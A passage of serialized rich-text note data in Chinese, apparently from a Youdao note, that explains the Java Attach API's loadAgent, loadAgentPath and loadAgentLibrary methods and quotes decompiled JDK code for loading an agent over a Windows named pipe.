255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;ZVCh-1650694335115&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgentPath(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E8n7-1650694335114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgentPath&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yFp-1650694335121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来加载我们的attach对象。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TNtP-1650694302734&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE157de32f0aecd5be70a4579393342022&#34;,&#34;width&#34;:761,&#34;height&#34;:406},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE157de32f0aecd5be70a4579393342022&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:406},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v2CQ-1650693659521&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Swf-1650693659519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;mF2p-1650698784750&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgent(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q7Dv-1650698784751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgent&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3o4P-1650698784752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7sdA-1650698664688&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCE68fa2737e452b18d37087be4101c09b4&#34;,&#34;width&#34;:761,&#34;height&#34;:275},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCE68fa2737e452b18d37087be4101c09b4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:275},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GXiH-1650693659687&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6AQ1-1650693659685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;GdUs-1650698716735&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgentLibrary(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FM6W-1650698716736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgentLibrary&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P4uM-1650698716737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gksV-1650698709039&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE30d9a6937481ee70b1eca5329224a368&#34;,&#34;width&#34;:761,&#34;height&#34;:340},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE30d9a6937481ee70b1eca5329224a368&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:340},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jEi3-1650693659772&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GPAd-1650693659771&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;0cqU-1650698735751&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgentPath(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3wDk-1650698735752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgentPath&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sV0T-1650698735753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M2ls-1650698769915&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE9c5af57a8f49f478c127da4648dcb8df&#34;,&#34;width&#34;:761,&#34;height&#34;:336},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE9c5af57a8f49f478c127da4648dcb8df&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:336},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GpoY-1650693659858&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c1L9-1650693659856&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;HotSpotVirtualMachine中有loadAgentLibrary的具体实现：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AFrC-1650707333207&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCE9d452fb090ca6f7b96d30bf746ed566a&#34;,&#34;width&#34;:761,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCE9d452fb090ca6f7b96d30bf746ed566a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m4Ro-1650707372759&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;veUC-1650707372734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wUy3-1650707372733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private void loadAgentLibrary(String agentLibrary, boolean isAbsolute, String options) throws AgentLoadException, AgentInitializationException, IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mmfn-1650707372736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dkwh-1650707372735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    InputStream in = this.execute(\&#34;load\&#34;, agentLibrary, isAbsolute ? \&#34;true\&#34; : \&#34;false\&#34;, options);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PXaU-1650707372738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bqjm-1650707372737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q9tj-1650707372740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OXIF-1650707372739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oweg-1650707372742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WQbh-1650707372741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int result = this.readInt(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3597-1650707372744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bico-1650707372743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (result != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LCgI-1650707372746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEz-1650707372745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new AgentInitializationException(\&#34;Agent_OnAttach failed\&#34;, result);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F2fR-1650707372748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KZoE-1650707372747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AdWo-1650707372750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vBtl-1650707372749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BCsl-1650707372752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUXu-1650707372751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        in.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rXuG-1650707372754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0X9Q-1650707372753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7mpW-1650707372756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mUfm-1650707372755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNpF-1650707372758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;npw1-1650707372757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMC3-1650707260942&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B2wF-1650707260940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进这个execute方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BjWq-1650707910563&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE0bb9230ee2b98667bc98a27b2c70bdbc&#34;,&#34;width&#34;:761,&#34;height&#34;:413},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE0bb9230ee2b98667bc98a27b2c70bdbc&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:413},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZXke-1650707910568&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5p2l-1650707910566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;先创建一个pipe然后获取pid，当pid不等于-1时继续交给enqueue方法处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cGR8-1650707890658&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vo8h-1650707890592&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nsqc-1650707890591&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;InputStream execute(String cmd, Object... args) throws AgentLoadException, IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Iwv6-1650707890594&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ofTI-1650707890593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    assert args.length &lt;= 3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U2E1-1650707890596&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ynz8-1650707890595&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IF4L-1650707890598&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hxo5-1650707890597&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int r = (new Random()).nextInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d0hA-1650707890600&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2SPW-1650707890599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pipename = \&#34;\\\\\\\\.\\\\pipe\\\\javatool\&#34; + r;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cPHJ-1650707890602&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZxCs-1650707890601&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    long hPipe = createPipe(pipename);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZFl2-1650707890604&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NSph-1650707890603&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.hProcess == -1L) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DlFm-1650707890606&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6zKI-1650707890605&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        closePipe(hPipe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f4o5-1650707890608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HNUG-1650707890607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw new IOException(\&#34;Detached from target VM\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9h9P-1650707890610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUgc-1650707890609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1532-1650707890612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;in0b-1650707890611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cxrv-1650707890614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zzvu-1650707890613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            enqueue(this.hProcess, stub, cmd, pipename, args);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vjwq-1650707890616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m0K7-1650707890615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            connectPipe(hPipe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BL8r-1650707890618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yqmI-1650707890617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            WindowsVirtualMachine.PipedInputStream is = new WindowsVirtualMachine.PipedInputStream(hPipe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fRh-1650707890621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fKfK-1650707890620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int status = this.readInt(is);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qvj8-1650707890623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BYxr-1650707890622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (status != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AgKD-1650707890625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U01M-1650707890624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                String message = this.readErrorMessage(is);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tVpe-1650707890627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qbjt-1650707890626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (cmd.equals(\&#34;load\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TA31-1650707890629&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rKaE-1650707890628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new AgentLoadException(\&#34;Failed to load agent library\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N92T-1650707890631&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dkid-1650707890630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else if (message == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQS6-1650707890633&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zHQX-1650707890632&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new AttachOperationFailedException(\&#34;Command failed in target VM\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqwp-1650707890635&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vu3a-1650707890634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rftf-1650707890637&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lNtQ-1650707890636&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new AttachOperationFailedException(message);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xr2C-1650707890639&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pAoO-1650707890638&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21ZR-1650707890641&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MmZs-1650707890640&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PZT6-1650707890643&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;et8V-1650707890642&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return is;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;txVr-1650707890645&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DauO-1650707890644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFbp-1650707890647&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bsK2-1650707890646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var10) 